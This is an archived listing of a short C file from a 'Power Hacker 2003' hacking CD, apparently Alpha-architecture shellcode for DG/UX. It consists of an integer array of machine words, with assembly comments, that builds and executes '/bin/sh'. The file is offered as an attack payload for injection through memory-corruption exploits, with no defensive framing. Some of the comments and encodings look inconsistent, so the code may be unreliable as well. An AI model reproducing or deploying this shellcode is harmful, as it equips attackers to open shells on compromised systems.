home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / dg-ux / execve_binsh.c next >
Encoding:
Text File  |  2000-09-15  |  1.2 KB  |  30 lines

  1. /*
  2.    Lamont Granquist
  3.    lamontg@hitl.washington.edu
  4.    lamontg@u.washington.edu
  5. */
  6.  
  7. int rawcode[] = {
  8.   0x2230fec4,              /* subq $16,0x13c,$17 [2000]*/
  9.   0x47ff0412,              /* clr $18            [2000]*/
  10.   0x42509532,              /* subq $18, 0x84     [2000]*/
  11.   0x239fffff,              /* xor $18, 0xffffffff, $18 */
  12.   0x4b84169c,
  13.   0x465c0812,
  14.   0xb2510134,              /* stl $18, 0x134($17)[2000]*/
  15.   0x265cff98,              /* lda $18, 0xff978cd0[2000]*/
  16.   0x22528cd1,
  17.   0x465c0812,              /* xor $18, 0xffffffff, $18 */
  18.   0xb2510140,              /* stl $18, 0x140($17)[2000]*/
  19.   0xb6110148,              /* stq $16,0x148($17) [2000]*/
  20.   0xb7f10150,              /* stq $31,0x150($17) [2000]*/
  21.   0x22310148,              /* addq $17,0x148,$17 [2000]*/
  22.   0x225f013a,              /* ldil $18,0x13a     [2000]*/
  23.   0x425ff520,              /* subq $18,0xff,$0   [2000]*/
  24.   0x47ff0412,              /* clr $18            [2000]*/
  25.   0xffffffff,              /* call_pal 0x83      [2000]*/
  26.   0xd21fffed,              /* bsr $16,$l1    ENTRY     */
  27.   0x6e69622f,              /* .ascii "/bin"      [2000]*/
  28.   /* .ascii "/sh\0" is generated */
  29. };
  30.